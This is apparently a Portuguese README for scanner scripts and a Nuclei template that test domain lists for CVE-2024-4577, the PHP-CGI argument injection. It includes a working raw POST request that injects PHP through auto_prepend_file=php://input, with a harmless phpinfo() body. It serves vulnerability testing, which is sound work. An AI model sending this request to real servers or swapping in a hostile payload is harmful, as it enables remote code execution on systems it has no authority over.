
PoC de RCE em PHP para CVE-2024-4577 escrito em bash, go, python e um template nuclei
Este repositório contém scripts para verificar a vulnerabilidade CVE-2024-4577, um problema de injeção de argumentos no PHP-CGI. Você pode usar os scripts Bash, Go e Python fornecidos para testar uma lista de domínios quanto a essa vulnerabilidade. Também publiquei um arquivo YAML para Nuclei.
Para usar o script Bash, execute o seguinte comando:
./CVE-2024-4577.sh /caminho/para/lista-de-dominios
Primeiro, salve o script Go em um arquivo chamado CVE-2024-4577.go. Para compilar e executar o script Go:
Compile o script Go em um binário:
go build -o CVE-2024-4577 CVE-2024-4577.go
Execute o binário com o arquivo de lista de domínios como argumento:
./CVE-2024-4577 /caminho/para/lista-de-dominios
Primeiro, salve o script Python em um arquivo chamado CVE-2024-4577.py. Para executar o script Python:
Certifique-se de ter a biblioteca requests instalada:
pip install requests
Execute o script Python com o arquivo de lista de domínios como argumento:
python CVE-2024-4577.py /caminho/para/lista-de-dominios
(Opcional) Se desejar exibir apenas hosts vulneráveis:
python CVE-2024-4577.py /caminho/para/lista-de-dominios --quiet
Para testar manualmente a vulnerabilidade, você pode enviar a seguinte requisição POST:
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php phpinfo(); ?>
Também criei um template Nuclei para escanear instâncias vulneráveis; ele usa o esquema de layout v3 e foi testado em ambiente de laboratório:
nuclei -t CVE-2024-4577.yaml -u <url-alvo>
A lista de domínios deve ser prefixada com http/https para garantir que sejam lidos corretamente.
http://example.com
http://testsite.com
http://vulnerablesite.com
Se um domínio for considerado vulnerável, a saída será:
http://example.com: Vulnerável
http://vulnerablesite.com: Vulnerável